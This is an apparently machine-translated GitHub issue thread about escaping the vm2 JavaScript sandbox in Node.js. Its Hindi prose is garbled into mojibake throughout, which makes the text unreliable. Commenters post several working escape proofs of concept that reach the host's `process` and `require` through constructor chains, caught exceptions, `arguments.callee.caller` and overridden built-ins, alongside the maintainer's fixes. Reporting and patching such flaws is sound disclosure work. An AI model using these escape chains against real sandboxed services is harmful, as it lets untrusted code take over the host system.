Vm2: рд╡реАрдПрдо рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрдЪрдирд╛

рдХреЛ рдирд┐рд░реНрдорд┐рдд 16 рдЬреВрди 2016  ┬╖  64рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ  ┬╖  рд╕реНрд░реЛрдд: patriksimek/vm2

VM рд╕реЗ рдмрдЪрдирд╛ рдФрд░ рдмрд╣реБрдд рдЕрд╡рд╛рдВрдЫрдиреАрдп рдХрд╛рд░реНрдп рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

рдиреЛрдб рдХреЗ рдореВрд▓ рд╡реАрдПрдо рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд┐рд▓рд╛: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд 2 рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

рддрдерд╛ :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдирд┐рдореНрди рд╣реЛрддрд╛ рд╣реИ:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

рдореИрдВрдиреЗ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ v4.4.5 рдФрд░ v6.2.1 рджреЛрдиреЛрдВ рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рд╣реИ

рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЯрд┐рдкреНрдкрдгреА

рдЕрд░реНрдШ! рддреБрдо рдкрдХрдбрд╝ рд░рд╣реЗ рд╣реЛ! ;) рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдЖрдЧреЗ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЭреЗ рдорд╛рдлреА рдорд╛рдВрдЧрдиреА рдЪрд╛рд╣рд┐рдПред рдХрд┐рд╕реА рднреА рджрд░реНрд╢рдХ рдХреЗ рд▓рд┐рдП рд╡рд╣рд╛рдБ; рдиреЛрдб.рдЬреЗрдПрд╕ рдореЗрдВ рд╡реАрдПрдо рд╕реНрдХреЛрдк рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реИ (рдЬрд┐рд╕рд╕реЗ рдЖрдк рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдЪреЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдХрд╛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред

рдЕрдм рдЬрдм рдЖрдкрдиреЗ constructor рд╕рдВрдкрддреНрддрд┐ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рддреЛ рдореБрдЭреЗ рдЗрд╕рдХреЗ рдиреАрдЪреЗ рдЬрд╛рдирд╛ рд╣реЛрдЧрд╛:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

рд╕рднреА 64 рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдореИрдВ vm2 рдХреЗ рдПрдХ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдХрдбрд╝реА рдореЗрд╣рдирдд рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдФрд░ рдореИрдВ рдмрдирд╛рдП рдЧрдП рд╕рдВрджрд░реНрдн рдХреЗ рдЕрдВрджрд░ рд╕рдВрджрд░реНрдн рдмрдирд╛рдХрд░ рдЗрд╕ рд░рд┐рд╕рд╛рд╡ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ред рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдХреЛрдИ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЕрднреА рддрдХ рдХреЛрдИ рдирд╣реАрдВ рдорд┐рд▓рд╛ рд╣реИред

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

рдКрдкрд░ рдЪрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рд▓реЗрдХрд┐рди рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

рдореИрдВ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде рдЦреЗрд▓ рд░рд╣рд╛ рд╣реВрдВред

рдкрд╣рд▓рд╛ рд▓рдХреНрд╖реНрдп рдореБрдЭреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдЪреАрдЬреЛрдВ рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреА рдЯрд┐рдкреНрдкрдгреА рдХреЛ рдЖрдЬрдорд╛рдирд╛ рдФрд░ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛ рдерд╛, рдЬреЛ рдореЗрд░реЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдЬрд░реВрд░реА рд╣реИред рдХреГрдкрдпрд╛ рдореБрдЭреЗ рд╕рд╣реА рдХрд░реЗрдВ рдЕрдЧрд░ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗ рдХрд╛ рдпрд╣ рдЧрд▓рдд рддрд░реАрдХрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рд╣реИ:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

рдЖрдЙрдЯрдкреБрдЯ:

Hello World Inside
Hello World Outside

рдЖрдЧреЗ рдореИрдВрдиреЗ рдлрд┐рд░ рд╕реЗ VM рд╕реЗ рдмрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдФрд░ рд╕рдлрд▓ рд░рд╣рд╛:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

рдХреМрди рд╕рд╛ рдЖрдЙрдЯрдкреБрдЯ:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдЪреАрдЬреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ, рдЙрди рдЪреАрдЬреЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рд╡рд╛рдкрд╕ рдЪрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

рдПрдХ рддрд░реАрдХрд╛ рд╣реИ - рд╡рд╕реНрддреБрдУрдВ рдХреЛ рд╡реАрдПрдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВред рдЖрдк рдпрд╛ рддреЛ рдЙрди рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдбреАрдк рдХреНрд▓реЛрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдВ рдирдП vm2 рдореЗрдВ рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реВрдБред

https://github.com/patriksimek/vm2/tree/v3

рдореИрдВрдиреЗ рдЖрдЧрд╛рдореА рд░рд┐рд▓реАрдЬ рдХреЛ рдЬреАрдПрдЪ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рд╣реИред рдпрд╣ рдЕрднреА рднреА рдкреНрд░рдЧрддрд┐ рдкрд░ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

v3 рднреА рдЯреВрдЯрд╛ рд╣реБрдЖ рд╣реИ:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

рд╡реНрд╣реЗрдХ-рдП-рдореЛрд▓ рдХрд╛ рдпрд╣ рдЦреЗрд▓ рдЦреЗрд▓рдирд╛ рд╡реНрдпрд░реНрде рд╣реИред

@parasyte рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рдореЗрд░реЗ рдХреЛрдб рдореЗрдВ рдПрдХ рдЯрд╛рдЗрдкреЛ рдХреЗ рдХрд╛рд░рдг рд╣реБрдЖ рдерд╛ред рдпрд╣ рдЕрдм рдареАрдХ рд╣реЛ рдЧрдпрд╛ рд╣реИред

рдЕрдкрд╡рд╛рджреЛрдВ рдХреЛ рдкрдХрдбрд╝рдирд╛ рди рднреВрд▓реЗрдВред

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte рдзрдиреНрдпрд╡рд╛рдж, рддрдпред рдореИрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЖрдкрдХреЗ рдпреЛрдЧрджрд╛рди рдХреА рд╕рд░рд╛рд╣рдирд╛ рдХрд░рддрд╛ рд╣реВрдВред

+1

@patriksimek рдЕрдЪреНрдЫрд╛ рд╣реИ!

рдореЗрд░реЗ рдкрд╛рд╕ рд╡реИрд╢реНрд╡рд┐рдХ рджрд╛рдпрд░реЗ рдореЗрдВ рдХреБрдЫ рд╡рд╕реНрддреБрдУрдВ рддрдХ рднреА рдкрд╣реБрдВрдЪ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореИрдВ рд╕рдВрджрд░реНрдн рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддрд╛ рд╣реВрдВред рдЗрд╕реЗ рд╡реАрдПрдо рдореЗрдВ рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte рд╢реАрд╢! рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╡реИрдХреНрдЯрд░ рдмрдЪреЗ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред

@keyosk рд╣рд╛рдБ, рд╢рд╛рдпрдж ...

BTW @patriksimek ES6

@parasyte рдлрд┐рд░ рд╕реЗ рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рдХреБрдЫ рдФрд░ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЗ рд╕рд╛рде рддрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдореБрдЭреЗ рдорд┐рд▓рд╛ред
@keyosk рдореБрдЭреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╣реИ рдХрд┐ рд╣рдо рдЙрди рд╕рднреА рдХреЛ рдвреВрдВрдв рд▓реЗрдВрдЧреЗред

рдФрд░ рдЗрд╕рдХрд╛ рдХреНрдпрд╛?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte рдЕрдЪреНрдЫрд╛ рдкрдХрдбрд╝, рдЗрд╕реЗ рдареАрдХ рдХрд┐рдпрд╛ред рдзрдиреНрдпрд╡рд╛рджред

рдЖрдкрдиреЗ рд╣рд╛рд▓ рд╣реА рдХреЗ рдкреИрдЪ рдореЗрдВ рдХреАрдбрд╝реЛрдВ рдХрд╛ рдПрдХ рдирдпрд╛ рдХреИрди рдЦреЛрд▓рд╛ рд╣реИред

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

рдзрд┐рдХреНрдХрд╛рд░ рд╣реИ, рдореИрдВ рдмрд╣реБрдд рджреЗрд░ рд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рдерд╛ рдФрд░ рдзреНрдпрд╛рди рдЦреЛ рджрд┐рдпрд╛ред рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдиреЛрдЯ рд▓рд┐рдЦреЗ, рдореБрдЦреНрдпрддрдГ рдореЗрд░реЗ рд▓рд┐рдПред :)

рдзрдиреНрдпрд╡рд╛рдж, рддрдпред

рдареАрдХ рд╣реИ, рдореИрдВрдиреЗ рдЕрдм рддрдХ NodeVM рдореЗрдВ рднреА рдирд╣реАрдВ рджреЗрдЦрд╛ рд╣реИ! рд╕реНрдХреНрд░рдм рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╕рддрд╣ рдХреНрд╖реЗрддреНрд░ рд╣реИ, рдпрд╣рд╛рдБ...

рддреБрд░рдВрдд рдореИрдВрдиреЗ arguments.callee рдорд╛рдзреНрдпрдо рд╕реЗ рднрд╛рдЧрдиреЗ рдкрд░ рдзреНрдпрд╛рди рджрд┐рдпрд╛:

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

рдЦреИрд░, рдпрд╣ рд╣рдореЗрдВ рдпрд╣рд╛рдВ рд╢реБрд░реБрдЖрддреА рдореБрджреНрджреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ - рдирдП рд╕рдВрджрд░реНрдн рдХреЗ рдЕрдВрджрд░ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╕рдВрджрд░реНрдн рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рд▓рдШреБ рд╕рдВрд╕реНрдХрд░рдг:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

рдЕрднреА рддрдХ рд╕рдорд╛рдзрд╛рди рдирд╣реАрдВ рдорд┐рд▓рд╛ рд╣реИред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдореЗрдЬрдмрд╛рди рдХреЛ delete process.mainModule рд╕рд╛рде рдкреИрдЪ рдХрд░рдирд╛ рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдпрдХреАрди рд╣реИ рдХрд┐ require рддрдХ рдЪрдврд╝рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИред

рдПрдХ рд╕рдорд╛рдзрд╛рди рдорд┐рд▓рд╛ :-)

рдЕрд░реНрдШ! рддреБрдо рдкрдХрдбрд╝ рд░рд╣реЗ рд╣реЛ! ;) рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдЖрдЧреЗ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЭреЗ рдорд╛рдлреА рдорд╛рдВрдЧрдиреА рдЪрд╛рд╣рд┐рдПред рдХрд┐рд╕реА рднреА рджрд░реНрд╢рдХ рдХреЗ рд▓рд┐рдП рд╡рд╣рд╛рдБ; рдиреЛрдб.рдЬреЗрдПрд╕ рдореЗрдВ рд╡реАрдПрдо рд╕реНрдХреЛрдк рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реИ (рдЬрд┐рд╕рд╕реЗ рдЖрдк рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдЪреЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдХрд╛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред

рдЕрдм рдЬрдм рдЖрдкрдиреЗ constructor рд╕рдВрдкрддреНрддрд┐ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рддреЛ рдореБрдЭреЗ рдЗрд╕рдХреЗ рдиреАрдЪреЗ рдЬрд╛рдирд╛ рд╣реЛрдЧрд╛:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

рдпрд╣рд╛рдВ рдХреБрдЫ рд╢реЛрдз рдХрд┐рдпрд╛ рдФрд░ рджреЗрдЦрд╛ рдХрд┐ global.__proto__ === host.Object.prototype ред Object.setPrototypeOf(global, Object.prototype) рд▓рдЧрд╛рдХрд░ рдореИрдВ рдХреНрд░рд┐рдХреЗрд▓ рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ред

рдПрдХ рдмрд╛рд░ рдлрд┐рд░ рдзрдиреНрдпрд╡рд╛рджред

@parasyte @patriksimek рдХреНрдпрд╛ рдпрд╣ рдирд╡реАрдирддрдо npm рдкреНрд░рдХрд╛рд╢рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдмрдВрдж рд╣реИ?

рд╣рд╛рдВ, рд╣рдо рдЗрд╕реЗ рдЕрднреА рдХреЗ рд▓рд┐рдП рдмрдВрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдПрдлрдбрдмреНрд▓реНрдпреВрдЖрдИрдбрдмреНрд▓реНрдпреВ, рд╣рдордиреЗ рдЗрд╕реЗ рдХреЗрд╡рд▓ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдХреЗ рд╣рд▓ рдХрд┐рдпрд╛ ... рдФрд░ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ред

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

рдпрд╣ рднрд╛рдЧрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ return process рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрд╣ рд╡реИрдз eval() рдФрд░ рдлрдВрдХреНрд╢рди рдЬреЗрдирд░реЗрдЯрд░ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЙрд▓реНрд╕ рдХреЛ рднреА рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рджреЗрддрд╛ рд╣реИред (рдЗрди рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдмрд▓реНрдХрд┐ рд╕рдВрджрд┐рдЧреНрдз рд╣реИред)

@parasyte рд╕рд┐рд░реНрдл рд╕реНрдкрд╖реНрдЯрддрд╛ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХреБрдЫ рдРрд╕рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдХрд╣реАрдВ рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ? рдпрд╛ рдХреБрдЫ рдиреЗ vm2 рдореЗрдВ рдпреЛрдЧрджрд╛рди рджрд┐рдпрд╛?

@keyscores рдЗрд╕реЗ рдХрд╣реАрдВ рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╣рд╛рдБ, рдХрд╣реАрдВ рдФрд░ред рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╕рдорд╛рди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдУрдкрди рд╕реЛрд░реНрд╕ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордВрдЬреВрд░реА рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рд╣реИред рдЧрд▓рддрдлрд╣рдореА рдХреЗ рд▓рд┐рдП рдЦреЗрдж рд╣реИред рдореИрдВ рдЯрд┐рдкреНрдкрдгреА рдХрд░ рд░рд╣рд╛ рдерд╛ рдХрд┐ рдЙрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рдореВрд▓ рдореБрджреНрджреЗ рдХреЛ рдХреИрд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ред

@parasyte рдХреЛрдИ рдЖрдкрдХреА рд░рд┐рд▓реАрдЬрд╝ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИ? рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдкреА рд╣реЛрдЧреАред рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╣рд░ рдХреЛрдИ рдЬреАрддрддрд╛ рд╣реИред

@keyscores рдХреНрд╖рдорд╛ рдХрд░реЗрдВ, рдЕрднреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реИред рд╕рдВрдЧрдарди рдореЗрдВ рдХреБрдЫ рдЦрд░рд╛рдм рдпреЛрдЬрдирд╛ рдХреЗ рдХрд╛рд░рдг рдУрдкрди рд╕реЛрд░реНрд╕ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреА рдЧрдИред :\

